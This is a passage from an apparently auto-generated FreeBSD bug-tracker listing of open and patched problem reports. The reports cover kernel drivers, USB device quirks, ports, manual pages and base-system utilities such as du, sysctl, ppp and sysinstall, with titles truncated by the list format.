Sizeof(pointer) bug in usr.bin/xlint/ p docs/128089 kientzle [patch] Incorrect type in archive_write(3) manpage o kern/128040 [pccbb] [patch] System hangs when PCMCIA-CF adapter pl o kern/128037 [pccbb] [patch] System hang on shutdown with PCMCIA-CF o kern/128036 [sio] [patch] serial console mostly ignores typein to o ports/128025 shaun [patch] security/heimdal ldap support broken under 7 o i386/128014 i386 [geode] [patch] AMD Geode CS5536 watchdog(9) not disab p bin/127986 [patch] ee(1): fix compiler warnings caused by use of o usb/127980 usb [umass] [patch] Fix Samsung YP U2 MP3 player on 7.x an o bin/127932 [patch] mkdir(1): mkdir -p PATH fails if a directory i o kern/127928 net [tcp] [patch] TCP bandwidth gets squeezed every time t o bin/127918 [patch] ATA Security support for atacontrol(8) o conf/127917 rc [patch] dumpon rejects on start with physmem>swap even o docs/127908 doc [patch] readdir(3) error documentation o www/127898 bugmeister [patch] query-pr.cgi: properly treat quoted-printable o bin/127872 [libc] [patch] Rewinding on unionfs and Subversion p docs/127840 murray [patch] fix entity references in release/doc/en_US.ISO o kern/127834 net [ixgbe] [patch] wrong error counting s ports/127822 tmclaugh [PATCH] security/sudo: add tuneable variable SUDO_LDAP o kern/127815 net [gif] [patch] if_gif does not set vlan attributes from o bin/127764 [boot0cfg] [patch] preserve NT disk UID data for boot0 o ports/127718 brooks [patch] devel/llvm: use PIC on amd64 and add optional o kern/127717 [ata] [patch] - support write cache toggling per devic o bin/127633 edwin [patch] Update top(1) to 3.8b1 s ports/127608 marius [patch] sysutils/cdrtools - cdrecord: fix device enume p docs/127602 trhodes [patch] Incomplete information in nsswitch.conf(5) o kern/127581 acpi [patch] [acpi_sony] Add support for more Sony features s usb/127549 usb [umass] [patch] Meizu MiniPlayer M6 (SL) requires some o usb/127543 n_hibma [patch] [ubsa] Support Option Globetrotter HSDPA modem o bin/127532 [patch] install(1): install -S Not Safe in Jail with s f ports/127499 mi [PATCH] Update devel/icu to 4.0 o bin/127475 [patch] sockstat(1) output columns run into each other o misc/127471 [build] [patch] installworld fails if install-info is p kern/127446 emax [kbdmux] [patch] fix race in sys/dev/kbdmux/kbdmux.c p docs/127432 remko [patch] update fsck_ffs(8) man-page with regarding to p docs/127406 n_hibma [patch] update umodem man page: Sony Ericsson W810i o kern/127391 [ata] [patch] Intel 6300ESB SATA150 cannot find disk a o i386/127387 kib [i386] [patch] Inline assembler in x86 _start() in crt a bin/127331 edwin [patch] top(1) only shows cputime used by one process o ports/127319 dougb [PATCH] ports-mgmt/portmaster - add completion for zsh o ports/127303 kuriyama [patch] misc/amanda-server Add pkg-install to create m p kern/127289 [ata] [patch] new pci ids for SiI3132 present on adapt o bin/127280 des [libfetch] [patch] fetch/libfetch RFC 1738 %2F escaped o bin/127265 [patch] ddb(4): Adding the ddb command set from module o kern/127230 ipfw [ipfw] [patch] Feature request to add UID and/or GID l s ports/127229 lwhsu [PATCH] sysutils/dtc: unbreak, fix some typos, remove o ports/127214 secteam [PATCH] ports-mgmt/portaudit: Please change to U o kern/127121 pf [pf] [patch] pf incorrect log priority o kern/127042 pf [pf] [patch] pf recursion panic if interface group is p kern/127040 davidxu [patch] mqueuefs(5) witness panic o bin/127034 [patch] Add option to count apparent size to du(1) f kern/126984 glebius [carp] [patch] add carp userland notifications via dev o conf/126946 [patch] Add OpenVPN ports to services(5) o kern/126926 [build] [patch] Add MACHINE to dmesg o kern/126924 net [an] [patch] printf -> device_printf and simplify prob o kern/126895 net [patch] [ral] Add antenna selection (marked as TBD) o usb/126884 usb [ugen] [patch] Bug in buffer handling in ugen.c p conf/126841 philip [syscons] [patch] Add eee900 keyboard layout to /usr/s o kern/126688 net [ixgbe] [patch] 1.4.7 ixgbe driver panic with 4GB and p bin/126682 delphij [patch] sed(1) segfaults on error rather than error me o ports/126668 multimedia [patch] multimedia/ffmpeg - quick and dirty symbol bui p bin/126657 [patch] w(1) breaks multibyte date format o docs/126590 doc [patch] Write routine called forever in Sample Echo Ps p misc/126435 ed [patch] /usr/share/examples/drivers/make_pseudo_driver o bin/126433 [patch] some missing checks in rm(1) o conf/126392 rc [patch] rc.conf ifconfig_xx keywords cannot be escaped o bin/126324 rc [patch] rc.d/tmp: Prevent mounting /tmp in second tim o kern/126300 [build] [patch] Add missing -mno-sse3 flag for AMD64 t p docs/126227 trhodes [patch] kthread(9) refers to non-existent manpage, des f ports/126079 portmgr [patch] bsd.port.mk: make openssl.mk usable after pre. o kern/126075 net [inet] [patch] internet control accesses beyond end of o ports/126019 multimedia [patch] multimedia/transcode patch revision f ports/125996 danfe [patch] x11/nvidia-driver - remove pkg_info statements o bin/125922 net [patch] Deadlock in arp(8) p bin/125878 kmacy [patch] [request] Add zfs/zpool to rescue programs. o kern/125859 [ata] [patch] sata access failure [regression] o kern/125845 net [netinet] [patch] tcp_lro_rx() should make use of hard o ports/125823 sem [PATCH] ports-mgmt/portupgrade does not use custom ECH o kern/125808 rnoland [drm] [patch] Radeon X800 GTO - *ERROR* Offset failed s kern/125756 multimedia [sound] [patch] cannot detect soft-modem on HDA bus o bin/125707 [patch] powerd(8): force a method of battery state que o bin/125678 [patch] ls(1) -h option doesn't work if the listing co o kern/125675 [keyboard] [patch] Add hw.syscons.kbd_suspend new sysc p docs/125639 trhodes [patch] kldunloadf(2) does not mention about possible a kern/125613 trasz [ufs] [patch] ACL problems with special files o conf/125551 [patch] building WLAN userland should be optional o kern/125496 [ar] [patch] free memory on ataraid module unload o kern/125454 [digi] [patch] device digi (PC/Xe 64K 16 ports) not wo o bin/125449 [patch] awk(1): /usr/bin/awk fails mawk's FPE test o bin/125370 ipfw [ipfw] [patch] increase a line buffer limit o bin/125365 matteo [patch] mdconfig(8) -l overflow for size field o bin/125350 des [libfetch] [patch] src/lib/libfetch add support for de o usb/125264 usb [patch] sysctl for set usb mouse rate (very useful for p docs/125253 trhodes [patch] jail(2) does not mention about possible error p kern/125181 thompsa [ndis] [patch] with wep enters kdb.enter.unknown, pani p bin/125154 matteo [patch] mount(8) ignores values returned by exec_mount a kern/125139 philip [patch] [ata] bugs in ATAPI CD tray control p bin/125098 [patch] ee(1) consume 100% cpu usage o ports/125045 ume [patch] mail/cyrus-imapd: add patch for autocreate INB o conf/125041 [patch] New file: /etc/periodic/security/810.loginok o kern/125034 [devfs] [patch] devfs does not apply rules to newly cr o kern/125030 [devfs] [patch] Command 'devfs ruleset 0' causes panic o kern/125009 [patch] access(2) grants root execute perms for non-ex o kern/124996 [patch] "filesystem goof: vop_panic[vop_revoke]" panic o kern/124973 geom [gjournal] [patch] boot order affects geom_journal con o kern/124963 alc [vm] [patch] old pagezero fixes for alc o i386/124902 i386 [i386] [patch] patch to fix VESA modes and allow 8bit o kern/124881 [devfs] [patch] [request] Add possibility to check whi p kern/124853 gonzo [devfs.rules] [patch] devfs_ruleset_use may use freed o bin/124822 [editline] [patch] Editline's ed-search-{prev,next}-hi o ports/124798 brix [patch] irc/bitlbee is not doing SRV lookups for XMPP o bin/124748 [patch] sh(1): sh -c 'exit -1' fails with "Illegal num o conf/124747 rc [patch] savecore can't create dump from encrypted swap o kern/124744 acpi [acpi] [patch] incorrect _BST result validation for To a docs/124716 trhodes [patch] GEOM RAID1 handbook example only covers boot p o ports/124707 danfe [patch] audio/libgpod - add python support again o conf/124641 [patch] new periodic script for checking for ports wit f kern/124621 fs [ext3] [patch] Cannot mount ext2fs partition o kern/124564 [kernel] [patch] add CPUID bits to ident phenom proces o bin/124517 [patch] cdcontrol(1) doesn't print all error messages o kern/124487 [procfs] [patch] Extending the PROCFS (/proc) filesyst o misc/124431 [build] [patch] minor revision of BDECFLAGS o bin/124392 rink [patch] bootparamd(8) does not work on arm p misc/124385 mtm [build] [patch] usr.sbin/ngctl/main.c fails to compile o bin/124349 [patch]: stat(1) should interpret st_flags as it does p bin/124342 mtm ggated(8): [patch] sbin/ggate/ggated/ggated.c fails to p kern/124334 mtm [libc] [patch] lib/libc/glob.c fails to compile under p bin/124251 mtm [patch] add BUGS section to rcorder.8 with REQUIRE exp o conf/124248 rc [jail] [patch] add support for nice value for rc.d/jai o kern/124225 cokane [ndis] [patch] ndis network driver sometimes loses net o kern/124202 [aic] [patch] Add Adaptec 39320LPE to list of known de o kern/124164 [patch] Add SHA-256/512 hash algorithm to crypt(3) o kern/124064 [ar] [patch] cannot handle >16 serial number with Inte o bin/124052 [patch] adduser(8) throws errors when -f input file in o kern/123980 [ata] [patch] Implement ATA UDMA speed limit (hw.ata.a p kern/123961 net [vr] [patch] Allow vr interface to handle vlans o gnu/123921 [patch] cpio(1): cpio -oc bug with write_out_header() o kern/123892 net [tap] [patch] No buffer space available o kern/123858 net [stf] [patch] stf not usable behind a NAT p bin/123807 imp [patch] timed(8) does not run on arm (incorrect getopt o kern/123793 bz [ipsec] [patch] KAME IPSEC does not pass processed pac o bin/123774 [patch] kdump(1): time_t printing issues o conf/123734 rc [patch] Chipset VIA CX700 requires extra initializatio o bin/123703 [patch] timed(8): qualify bad diagnostic in src/usr.sb o bin/123693 [patch] burncd(8): workaround for busy cd-writer while o bin/123644 [patch] [sysctl] Allow sysctl(8) to ignore unknown OID o kern/123630 geom [patch] [gmirror] gmirror doesnt allow the original dr o bin/123553 [patch] Prevent indent(1) from splitting unrecognized o conf/123551 [patch] [periodic] /etc/periodic/daily/440.status-mail p kern/123518 [patch] src/sys/kern.mk fails to disable -msse3 for am o docs/123484 edwin [patch] teach pxeboot.8 about ISC DHCP v3 o bin/123418 [patch] du(1): add -g (Gbyte) option to du(1) + manpag o usb/123352 usb [usbdevs] [patch] Add Option GTMAX3.6/7.2 and Quallcom o usb/123351 usb [usbdevs] [patch] Add Reiner SCT cyberJack, Omnikey [2 p bin/123329 phk [patch] usage strings for fifolog_create(1) and fifolo o misc/123240 [nanobsd] [patch] rerunning nanobsd.inc.sh fails becau o bin/123237 randi sysinstall(8): [patch]: sysinstall(8) -- remove dummy o conf/123222 rc [patch] Add rtprio(1)/idprio(1) support to rc.subr(8). o ports/123185 portmgr [patch] Mk/bsd.port.mk - Add extended description to O o kern/123177 secteam [random] [patch] arc4rand(9) produces the same sequenc o misc/123156 [build] [patch] make.conf update to "make update" sect o misc/123155 [build] [patch] src/Makefile.inc1 bug: remove obsolete p kern/123147 remko [ti] [patch] ti(4) doesn't use mii, but kernel configs o conf/123119 ipfw [patch] rc script for ipfw does not handle IPv6 p bin/123069 [patch] ps(1): invalid value of 'elapsed' field in ps o ports/123042 portmgr [patch] bsd.port.mk - Fix USE_LDCONFIG when used with f docs/123038 trhodes [patch] update to projects/c99/index.sgml p docs/123035 trhodes [patch] bugs in refuse.README a bin/123021 [patch] mount(8): mount -p shows incorrect mount optio o bin/123015 brooks [patch] rc.conf(8): implement automated creation of /e o usb/122992 usb [umass] [patch] MotoROKR Z6 Phone not recognised by um o ports/122974 dougb [PATCH] dns/bind94: add DLZ config options o usb/122956 usb [ubsa] [patch] add support for Novatel Wireless XU870 f ports/122922 multimedia [patch] multimedia/ffmpeg text output is mangled o usb/122905 usb [ubsa] [patch] add Huawei E220 to ubsa o conf/122883 [patch] login class for ukrainian users accounts o ports/122877 portmgr [patch] Mk/bsd.port.mk - Show all pkg-message files o usb/122819 usb [usb] [patch] Patch to provide dynamic additions to th o kern/122670 [ata] [patch] broken acd_get_progress = ioctl CDRIOCGE p bin/122659 stefanf [patch] sh(1) long arithmetics broken on certain archi o bin/122652 [patch] du(1) support for inode count o i386/122623 i386 [build] [patch] bsd.cpu.mk doesn't handle opteron/athl o usb/122621 usb [new driver] [patch] New driver for Sierra Wireless 3G o bin/122519 [patch] ppp(8): ppp provides deficient DNS info o conf/122477 rc [patch] /etc/rc.d/mdconfig and mdconfig2 are ignoring f misc/122300 kensmith [build] [patch] SEPARATE_LIVEFS arch dependent set but o kern/122288 [md] [patch] mdconfig(8) returning negative unit numbe o bin/122271 [patch] usr.bin/xinstall - Add support for -D option ( o conf/122170 rc [patch] [request] New feature: notify admin via page o p bin/122137 matteo [patch] Have crontab(1) use snprintf instead of sprint p bin/122070 matteo [patch] crontab(1): Zero out pw_passwd in crontab o kern/122047 fs [ext2fs] [patch] incorrect handling of UF_IMMUTABLE / o bin/122043 [patch] du(1) does not support byte-count-based report o conf/122037 [patch] add rsync example for inetd.conf o usb/122025 usb [uscanner] [patch] uscanner does not attach to Epson R o stand/121921 standards [patch] Add leap second support to at(1), atrun(8) o kern/121917 [boot] [patch] Broken boot on Asus P4P800-VM after upg s ports/121902 gabor [PATCH] textproc/ispell add OPTIONS o kern/121899 [ar] [patch] Drive detached from Intel Matrix RAID and o kern/121897 [patch] realpath(3) segmentation fault o bin/121895 net [patch] rtsol(8)/rtsold(8) doesn't handle managed netw p conf/121783 cperciva [patch] freebsd-update(8) upgrade overwrites device.hi o usb/121755 usb [ohci] [patch] Fix panic after ohci/uhub cardbus devic o kern/121706 net [netinet] [patch] "rtfree: 0xc4383870 has 1 refs" emit o ports/121688 kde [patch] editors/koffice-kde3: several depencancy fixes o ports/121672 wes [Patch] mail/mimedefang: opt out of clamav use o bin/121671 bushman [patch] nscd(8) prints needless banner f kern/121660 jkoshy [hwpmc] [patch] hwpmc(4) incorrectly handles PMC sampl o kern/121656 [libc] [patch] telldir(3) issues o stand/121568 standards [patch] ln(1): wrong "ln -s" behaviour o kern/121566 rc [nfs] [request] [patch] ethernet iface should be broug o kern/121559 geom [patch] [geom] geom label class allows to create inacc o bin/121542 krion [patch] teach pkg_add(1) to accept PACKAGEROOT and PAC o kern/121521 [ata] [patch] add VIA CX700M2 chipset to ata driver p bin/121512 mtm [sysctl] [patch] sysctl(8) should return 1 if the user o kern/121504 acpi [patch] Correctly set hw.acpi.osname on certain machin o bin/121502 [patch] option -P appears to be broken in restore(8) s p docs/121490 brueffer [patch] Multiple typos ("in in") in /usr/src files o usb/121474 usb [cam] [patch] QUIRK: SAMSUNG HM250JI in LaCie usb hard o usb/121426 usb [patch] [uscanner] add HP ScanJet 3570C o bin/121424 doc [patch] [ipfw] Rectify ambiguous English in manual o ports/121413 portmgr [patch] bsd.port.mk: introduce USE_LZMA for lzma-compr o bin/121366 fs [zfs] [patch] Automatic disk scrubbing from periodic(8 o bin/121359 net [patch] ppp(8): fix local stack overflow in ppp o bin/121243 des [patch] passwd(1) patch for usage with PAM/LDAP o arm/121242 ticso [ate] [patch] Promiscuous mode of if_ate (arm) doesn't p usb/121184 usb [uipaq] [patch] add ids from linux ipaq driver (plus a p bin/121182 [patch] newfs_msdos(8) should supports devices without o docs/121173 doc [patch] mq_getattr(2): mq_flags mistakenly described a p kern/121156 multimedia [sound] [patch] Turn on inverted external amplifier se o ports/121143 markus [PATCH] audio/cdparanoia: rip multisession CDs correct o kern/121122 ipfw [ipfw] [patch] add support to ToS IP PRECEDENCE fields o kern/121102 acpi [acpi_fujitsu] [patch] update acpi_fujitsu for the P80 o kern/121074 des [patch] Add RFC2617 digest authentication to fetch(3) o kern/121073 [kernel] [patch] run chroot as an unprivileged user o conf/121064 [patch] Use ASCII characters for box/line characters i o usb/121045 usb [uftdi] [patch] Add support for PC-OP-RS1 and KURO-RS o bin/120994 [patch] alignment violation in chap module of ppp(8) c o conf/120993 [patch] 340.noid -- Add "find -x" capability (don't cr o bin/120990 [patch] support "BIOS Boot" partition type in gpt(8) o kern/120989 scottl [udf] [patch] UDF (with DVD RAM) isn't mountable/reada p docs/120945 net [patch] ip6(4) man page lacks documentation for TCLASS p bin/120891 dwmalone [patch] enhancement to syslogd(8) - always printing lo o kern/120884 [bktr] [patch] bktr driver always stores the contigmal o kern/120872 [libkvm] [patch] fstat exit on signal 11 o bin/120870 [patch] truss(1) shows 'pipe' system call as having 6 o kern/120858 scottl [patch] [cam] panic: ufs_dirbad with CLARiiON CX3-40 o bin/120813 [patch] grdc(6) off by 500 ms (on average) o ports/120756 des [PATCH] sysutils/munin-node: Use fixed GID o ports/120755 des [PATCH] sysutils/munin-main: Use fixed UID/GID p kern/120714 gonzo [viapm] [patch] viapm driver doesn't work on VIA VT823 o usb/120572 usb [umass] [patch] quirk to support ASUS P535 as umass (a o ports/120532 portmgr [PATCH] bsd.port.mk - add more recursive-foo targets o kern/120515 acpi [acpi] [patch] acpi_alloc_wakeup_handler: can't alloc o kern/120483 fs [ntfs] [patch] NTFS filesystem locking changes o kern/120482 fs [ntfs] [patch] Sync style changes between NetBSD and F o conf/120431 rc [patch] devfs.rules are not initialized under certain o conf/120406 rc [devd] [patch] Handle newly attached pcm devices (eg. o kern/120304 net [netgraph] [patch] netgraph source assumes 32-bit time o kern/120270 simon [crypto] [patch] AES-192 and AES-256 support for HW-ac o conf/120263 [patch] 800.loginfail misses relevant security informa o bin/120256 [patch] ftp(1): ftp -u URL/ returns a -1 o kern/120232 net [nfe] [patch] Bring in nfe(4) to RELENG_6 o conf/120228 rc [zfs] [patch] Split ZFS volume startup / ease ZFS swap o amd64/120202 amd64 [amd64] [patch] [panic] kernel panic at start_all_aps, o conf/120194 rc [patch] UFS volumes on ZVOLs cannot be fsck'd at boot p kern/120138 jeff [sched_ule] [patch] steal_thresh may be set a wrong va o kern/120128 attilio [libc] [patch] __getcwd erroneously returning ENOENT o docs/120125 doc [patch] Installing FreeBSD 7.0 via serial console and o bin/120114 [patch] reboot(8) - add features available in Solaris. o kern/120073 [new driver] [patch] add support for Meinberg PCI-base o kern/120057 pf [pf] [patch] Allow proper settings of ALTQ_HFSC. The c o ports/119997 dougb [PATCH] dns/bind94: added GeoIP patches o usb/119981 usb [axe] [patch] add support for LOGITEC LAN-GTJ/U2 gigab o ports/119923 demon [patch] sysutils/ascpu does not work FreeBSD 8.0-CURRE p threa/119920 deischen [patch] fork broken in libpthread o conf/119874 rc [patch] "/etc/rc.d/pf reload" fails if there are macro o kern/119767 jfv [em] [patch] if_em fix for systems without msix suppor o ports/119710 sumikawa [patch] net/netcat - nc command runs BSD nc instead of o kern/119668 scsi [cam] [patch] certain errors are too verbose comparing o usb/119653 usb [cam] [patch] iriver s7 player sync cache error patch o bin/119610 [patch] config(8): config -x appends unwanted trailing o kern/119606 [sio] [patch] PCMCIA card not attached to driver o amd64/119591 amd64 [amd64] [patch] time_t on 64-bit architecture o kern/119575 simokawa [firewire] [patch] sbp_targ cannot handle multiple CTI o bin/119483 [patch] vidcontrol(1) misses latest VESA mode (off-by- o conf/119464 [patch] [request] Add 'sorted' option to etc/periodic/ o kern/119358 [kernel] [patch] SYSINIT_VERBOSE can be more verbose p docs/119329 trhodes [patch] Fix misleading man 1 split o kern/119307 emaste [queue] [patch] TRASHIT macro blasts list header if RE o kern/119298 kan [xfs] [patch] 7-Stable/sys/modules/xfs fails to make f o usb/119227 usb [ubsa] [patch] ubsa buffer is too small; should be tun o kern/119205 [dc] [patch] Collect various stats regarding dc(4) int o kern/119202 [kernel] [patch] Add generic support for disabling dev o usb/119201 usb [cam] [patch] Quirks for Olympus FE-210 camera, LG and o i386/119175 i386 [busdma] [patch] Typo in bus_dmamem_alloc() o usb/119150 remko [usbdevs] [patch] new usbdevs for CDMA 1xEVDO devices o bin/119077 [patch] sysinstall(8) - reading packages from index is o conf/119076 rc [patch] [rc.d] /etc/rc.d/netif tries to remove alias a o bin/119014 [patch] IPv6 addresses cause sockstat(1) to run column o docs/118902 doc [patch] wrong signatures in d2i_RSAPublicKey man pages a kern/118879 net [bge] [patch] bge has checksum problems on the 5703 ch o bin/118874 [patch] tftpd(8): add TFTP Option Extension (rfc 2347) p conf/118770 mtm [patch] rc.d scripts: print information instead of sil o kern/118739 [cpufreq] [patch] Allow the cpufreq/p4tcc driver to de o kern/118727 net [netgraph] [patch] [request] add new ng_pf module o bin/118723 gcooper [patch] od(1)/hexdump(1) truncates last partial repeat o kern/118713 fs [minidump] [patch] Display media size required for a k o bin/118636 sysinstall(8): [patch] [request] remove requirement fo p kern/118540 kaiw [elf] [patch] update sys/sys/elf_common.h with new ema o kern/118493 weongyo [ndis] [patch] a trivial fix when ndis sets `ndis_reso o usb/118485 usb [usbdevs] [patch] Logitech Headset Workaround o kern/118447 [ata] [patch] Troublesome DMA modes with VIA Apollo VP p kern/118439 thompsa [ndis] [patch] if_ndis - fix a panic when ndis_attach( p usb/118374 attilio [ubsa] [patch] support Option GlobeTrotter Max 3.6 wir p kern/118370 thompsa [ndis] [patch] if_ndis - fix a scanning problem of Mar o bin/118355 pf [pf] [patch] pfctl(8) help message options order false o bin/118325 rc [patch] [request] new periodic script to test statuses o kern/118320 fs [zfs] [patch] NFS SETATTR sometimes fails to set file o kern/118317 [zlib] [patch] Incorrect gzeof() return value in zlib o bin/118297 weongyo [patch] ndiscvt(8): sort a output format. o bin/118296 weongyo [patch] ndiscvt(8) can't parse a STRING WORD pattern w o bin/118295 weongyo [patch] ndiscvt(8) makes a syntax error when it proces o bin/118294 weongyo [patch] ndiscvt(8) can't parse WORD which includes '(' a kern/118238 net [bce] [patch] bce driver shows "no carrier" on Intel S o kern/118222 [pxeboot] [patch] FreeBSD 7.0 PXE + NFS / "Can't work o bin/118205 [patch] [request] new options -r to pkill(1) a pid aft o ports/118168 multimedia [patch] multimedia/transcode - Add WITHOUT_X11 and WIT o bin/118144 des [patch] pam_lastlog doesn't check return values in pam o usb/118140 usb [ucom] [patch] quick hack for ucom to get it behave wi o bin/118132 [patch] pax(1): broken -s handling of \1, \2 ... o bin/118123 [patch] chat(8) has infinite recursion bug o bin/118114 [patch] update manctl(8) o conf/118111 [patch] [request] Add MAC address based interface rena o bin/118069 thomas [patch] camcontrol(8) should be able to leave device s o bin/118014 remko [patch] arp(8): Minor style(9) change to src/usr.sbin/ o usb/117938 usb [ums] [patch] Adding support for MS WL Natural and MS o conf/117935 rc [patch] ppp fails to start at boot because of missing s bin/117830 [patch] who(1) no longer displays entries for folk log f bin/117751 [patch] [request] Make pw(8) support "-d" argument o bin/117733 [patch] [request] allow to tee(1) to sockets, descript o kern/117709 simon [libcrypto] [patch] Base openssl does not define OPENS o bin/117687 [patch] fstab(5) format cannot handle spaces f bin/117603 linimon [patch] dump(8) hangs on SMP - 4way and higher. o usb/117598 usb [uaudio] [patch] Not possible to record with Plantroni p conf/117555 dougb [patch] [nis] NIS-dependent services cannot start if y o usb/117546 remko [uftdi] [patch] Add MaxStream ZigBee product ID to uft o bin/117520 mux [patch] csup(1) not-really-equivalent to cvsup p kern/117512 des [libpam] [patch] document .opieaccess for pam_opieacce o kern/117510 [headers] [patch] sys/cdefs.h lacks support for PCC o bin/117452 [patch] tftp(1): the fix for PR 103206 was incorrect o bin/117339 net [patch] route(8): loading routing management commands o docs/117308 gavin [patch] Clarification of /etc/defaults/devfs.rules sta o bin/117277 des [patch] fetch(1): fetch's resume mode doesn't verify t o kern/117234 ipfw [ipfw] [patch] ipfw send_pkt() and ipfw_tick() don't s o usb/117205 remko [uscanner] [patch] uscanner support for HP ScanJet 447 o bin/117191 [patch] OptionalObsoleteFiles.inc - Add files to remov p usb/117185 thompsa [umodem] [patch] Add support for UNION interface descr o bin/117093 kensmith [patch] [request] Teach sysinstall(8) to load config f p ports/116984 apache [patch] www/apache13-modssl missing perl5.8 as RUN_DEP o bin/116980 fs [msdosfs] [patch] mount_msdosfs(8) resets some flags f o usb/116947 usb [ukbd] [patch] [regression] enable boot protocol on th o kern/116837 net [tun] [panic] [patch] ifconfig tunX destroy: panic o stand/116826 standards [patch] sh support for POSIX character classes a kern/116697 kmacy [net] [patch] ifconfig's name argument has no effect o o bin/116643 net [patch] [request] fstat(1): add INET/INET6 socket deta p kern/116608 fs [msdosfs] [patch] msdosfs fails to check mount options f ports/116601 portmgr [patch] bsd.port.mk - fail if dependency failed o bin/116425 [patch] [request] ls(1) options for pre-sort of direct o conf/116416 mtm [patch] [request] per-jail rc.conf(5) style configurat o conf/116237 [patch] ugly output of the 405.status-ata-raid if fdes o ports/116219 edwin [patch] Add @rmtry to bsd.port.mk o bin/116209 [patch] [request] decimal suffix in split(1) o conf/116071 [patch] loader.conf update some variables o kern/116009 ipfw [ipfw] [patch] Ignore errors when loading ruleset from o bin/115960 des sshd's X11 forwarding broken on IPv6 only machine [pat o bin/115946 des [libpam] [patch] not thread-safe o usb/115935 usb [usbdevs] [patch] kernel counterproductively attaches o usb/115933 usb [uftdi] [patch] RATOC REX-USB60F (usb serial converter p kern/115755 ipfw [ipfw] [patch] unify message and add a rule number whe o kern/115631 [libc] [patch] [request] make dlclose(3) atexit-aware a kern/115623 imp [cardbus] [patch] Xircom CardBus Ethernet II 10/100 Ad o amd64/115581 amd64 [Makefile] [patch] -mfancy-math-387 has no effect o kern/115547 geom [geom] [patch] [request] let GEOM Eli get password fro o bin/115486 [patch] [request] newsyslog(8) -- provide ability to c o ports/115461 pgollucci [patch] bsd.apache.mk - Create packages for apache mod o bin/115447 harti [patch] [request] teach make(1) to respect TMPDIR envi o bin/115431 [patch] [request] improvement to split(1): add -B swit o bin/115406 [patch] gpt(8) GPT MBR hangs award BIOS on boot o kern/115371 imp [cardbus] [patch] Device removal leaves resource datab o kern/115196 bushman [libc] [patch] [request] Implement getgroupmembership( o bin/115174 [patch] growfs(8) needs zero-writing for safe filesyst o bin/115172 ipfw [patch] ipfw(8) list show some rules with a wrong form o kern/115164 des [libpam] [patch] [request] Add support for the account o kern/115162 des [libpam] [patch] [request] Add check for target user's o kern/115133 scottl [mpt] [mfi] [patch] Patches to make mfi support LSI SA o docs/115065 doc [patch] sync ps.1 with p_flag and keywords o kern/114955 fs [cd9660] [patch] [request] support for mask,dirmask,ui o usb/114916 usb [umass] [patch] USB Maxtor drive (L300RO) requires qui o kern/114915 net [patch] [pcn] pcn (sys/pci/if_pcn.c) ethernet driver f o kern/114847 fs [ntfs] [patch] [request] dirmask support for NTFS ala o kern/114714 thompsa [gre] [patch] gre(4) is not MPSAFE and does not suppor p kern/114646 firewire [firewire] [patch] firewire fails after suspend/resume o kern/114492 [kernel] [patch] device_attach() doesn't unset devclas o bin/114468 fs [patch] [request] add -d option to umount(8) to detach o bin/114465 [patch] [request] script(1): add really cool -d, -p & o kern/114451 [nfs] [patch] prevent NFS server possible crash o docs/114371 doc [patch] [ip6] rtadvd.con(5) should show how to adverti f kern/114331 vanhu [crypto] [patch] VIA padlock freesession bug o usb/114310 usb [libusb] [patch] [panic] USB hub attachment panics ker o kern/114291 kmacy [RFE] [modules] [patch] add dynamic module references o ports/114231 edwin [patch] multimedia/audacious-plugins - audacious/plugi f ports/114229 nork [patch] [www/linuxpluginwrapper] libmap.conf-FreeBSD6 o docs/114184 doc [patch] [ndis]: add info to man 4 ndis o ports/114167 portmgr [patch] bsd.port.mk - ignoring major numbers in LIB_DE o bin/114129 mux [patch] csup(1) doesn't support authentication p conf/114101 se [patch] Add ZFS to periodic locate run o bin/114081 bz [patch] [ppp] ppp(8) should be able to set ethernet ad o usb/114068 usb [umass] [patch] Problems with connection of the umass o bin/114059 [patch] shutdown(8) should fall back to exec reboot/ha o conf/114013 usb [patch] WITHOUT_USB allow to compil a lot of USB stuff o bin/113979 matteo [patch] sysinstall(8) does not support UFS1 filesystem s kern/113950 multimedia [sound] [patch] [request] add per-vchan mixer support o conf/113915 rc [patch] ndis wireless driver fails to associate when i o conf/113913 [patch] [requst] new file /etc/periodic/daily/490.stat o kern/113885 geom [gmirror] [patch] improved gmirror balance algorithm o bin/113881 [patch] sysctl(8): Wrong memory usage o kern/113856 [patch] [plip] PLIP (parallel port IP) dead on 6.2, de o kern/113849 [libdisk] [patch] Correction of Sanitize_Bios_Geom for o bin/113838 fs [patch] [request] mount(8): add support for relative p o bin/113825 [patch] [libc] [ggated] Fix -STABLE build with -fno-st o docs/113803 ipfw [patch] ipfw(8) - don't get bitten by the fwd rule o bin/113702 krion [patch] bad output from "pkginfo -g" o bin/113682 [patch] sysinstall(8) warns for invalid geometry which o bin/113518 [patch] make(1): Prevent execution when command is a c o bin/113398 [libc] [patch] initgroups fails rather than truncates p kern/113388 ipfw [ipfw] [patch] Addition actions with rules within spec o gnu/113343 [patch] grep(1) outputs NOT-matched lines (with multi- p kern/113266 harti [libgssapi] [patch] Missing handling of mech_type in g o conf/113265 [patch] Add registered epmd port number to etc/service o bin/113239 [patch] atrun(8) loses jobs due to race condition o bin/113230 des [pam] [patch] const-ify PAM-headers o docs/113194 doc [patch] [request] crontab.5: handling of day-in-month o i386/113110 i386 [mk] [patch] i686 is not an alias of pentiumpro on GCC f ports/113099 tmclaugh [PATCH] sysutils/libchk may skip $X11BASE now o ports/113096 edwin [patch] x11/xorg - X.org manpages broken o bin/113074 [patch] ppp(8): include for strcasecmp(3) a usb/113060 usb [usbdevs] [patch] Samsung printer not working in bidir o bin/113049 fs [patch] [request] make quot(8) use getopt(3) and show o conf/112997 [patch] Add note about the 'native' mtune option to sh p bin/112955 des [patch] login(1): add netgroup support back to pam_log o usb/112944 usb [ulpt] [patch] Bi-directional access to HP LaserJet 10 o kern/112938 [headers] [patch] utmp.h is too limiting for modern sy p docs/112935 remko [patch] newfs_msdos(8): document 4.3g limit on files w o bin/112794 [patch] [request] pam_exec(8): allow pam_exec to expor o kern/112775 [libmd] [patch] libmd(3) bug for some zero-length file a bin/112694 [patch] segfault in pam_lastlog(8) on sshd exit when n o bin/112673 [patch] pkg_add(1): pkg_add -S leaks the temp dir o kern/112658 fs [smbfs] [patch] smbfs and caching problems (resolves b o conf/112558 [patch] /etc/periodic/daily/200.backup-passwd poor han o bin/112557 net [patch] ppp(8) lock file should not use symlink name o bin/112556 [patch]: sysctl(8) needs to fix multi-lineal descripti p kern/112554 silby [kernel] [patch] unp_gc is overly agressive and remove s kern/112544 acpi [acpi] [patch] Add High Precision Event Timer Driver f o kern/112477 marius [ofw] [patch] Add support to set the node and type on o bin/112379 [patch] [request] lockf(1): on closing stdin, stdout, p ports/112347 obrien [PATCH] editors/vim 